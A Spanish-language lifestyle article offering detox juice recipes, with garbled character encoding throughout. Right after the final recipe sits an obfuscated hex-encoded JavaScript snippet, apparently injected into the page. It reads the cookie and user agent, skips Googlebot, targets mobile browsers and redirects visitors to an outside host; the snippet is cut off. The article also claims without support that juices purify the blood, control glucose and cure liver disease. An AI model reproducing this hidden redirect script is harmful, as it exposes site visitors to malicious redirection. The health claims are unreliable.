Entretenimiento

5 Jun 2016
Entretenimiento | Por: Redacción

Jugos que podAi??s tomar para desintoxicar tu cuerpoAi??

 

En las grandes ciudades, el estrAi??s y las comidas rA?pidas son factores que daAi??an el organismo, por ello la opciA?n a seguir es tomar jugos naturales, ya que con sus vitaminas y minerales benefician su correcto desempeAi??o. Estos licuados depurativos ayudan a cuidar la salud y eliminar las toxinas producidas por la mala alimentaciA?n, abuso de bebidas alcohA?licas y tabaco, e incluso estrAi??s. Ai??

AdemA?s, son una fuente de proteAi??nas fA?cil de preparar y su sabor resulta agradable al paladar. Se recomienda consumirlos durante la maAi??ana o, mucho mejor, en ayunas, puesto que de esta manera proporcionarA?n las energAi??as necesarias para el resto del dAi??a.

Debido a la diversidad de frutas y verduras que se pueden utilizar, dentro de sus beneficios se incluye: el correcto funcionamiento del hAi??gado, riAi??ones y A?rganos en general. AsAi?? mismo, estos jugos naturales se deben combinar con una dieta balanceada, una rutina de ejercicios y los dos litros de agua diaria, ya que solo asAi?? se conseguirA? un estado descansado y funcional del cuerpo.

Sin embargo, si padeces de problemas de glucosa no es recomendable tomar muchos de estos licuados, ya que la cantidad exagerada de frutas o vegetales puede aumentar los niveles de azA?car en tu sangre. Por ello, es recomendable que consultes con el mAi??dico.

AcA? te presentamos algunas recetas de jugos que te ayudarA?n a desintoxicar tu cuerpo, deberA?s elegir los se adapten mA?s a tus necesidades.

 

  • PiAi??a, pepino y apio

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Funciona como desintoxicante, diurAi??tico y depurativo con vitaminas A y C. Contiene grandes de fibra, puesto que estA? compuesto por piAi??a picada, pepino y apio. Para obtener mejores resultados, se debe tomar durante un mes. Si deseas prepararlo, solo debes meter los ingredientes en un procesador o en una licuadora con agua y luego colar el jugo. Se le agrega miel como endulzante.

 

  • Fresa, limA?n y piAi??aAi??

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Contiene antioxidantes, que retrasan el proceso de envejecimiento, ademA?s posee taninos, potasio, magnesio, sodio y calcio. Se elabora con limones, fresas, piAi??a, uvas picadas y se endulza con una cucharada de miel. Para su elaboraciA?n se licuan los ingredientes y despuAi??s, se le agrega el jugo de limA?n.

 

  • Tomate, cilantro y perejilAi??

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Elimina toxinas, aporta vitaminas y minerales. Facilita la digestiA?n y el funcionamiento gA?strico. Contiene: tomates, pepino, cilantro, perejil, romero, albahaca, ajo y pimienta de cayena. Se licuan los ingredientes hasta que el jugo sea uniforme y se espolvorea la pimienta de cayena al final.

 

  • Ciruela, pera y toronjaAi??

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Retrasa el envejecimiento, desintoxica el organismo y funciona como diurAi??tico. Constituido por ciruelas picadas, peras verdes, toronjas, limA?n y apio. Cuando se hayan mezclado bien los ingredientes dentro de la licuadora, se sirve inmediatamente.

 

  • Apio, limA?n y zanahoriaAi??

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Depura el tracto digestivo y elimina las toxinas. Tiene fibra y facilita evacuaciones, estA? compuesto por apio, limA?n, piAi??a, zanahoria pelada y manzana. Luego de procesar o licuar los ingredientes, se mezclan con el jugo de limA?n.

 

  • Naranja y manzana con cA?scaraAi??

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Posee mucha Vitamina C y A?cidos cAi??tricos que eliminan la grasa de manera natural, ademA?s contiene fibra. EstA? compuesto por naranjas y manzanas con cA?scara. El jugo resultante debe tomarse antes de cada comida y se le agrega hielo para darle frescura.

 

  • Remolacha, naranja y zanahoria

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Constituido de apio, remolacha, zanahoria, manzana y naranja. Tiene pocas calorAi??as; purifica la sangre; es diurAi??tico y depurativo; mejora las enfermedades del hAi??gado; posee fibra; controla el colesterol; triglicAi??ridos y los niveles de glucosa en la sangre.

AdemA?s, incrementa las defensas, mantiene el buen estado de los mA?sculos, estimula los jugos gA?stricos y combate la anemia. Se licua o procesa hasta desaparecer los grumos, posteriormente se cuela si es necesario. Se debe beber dos o tres veces a la semana, siempre en ayunas.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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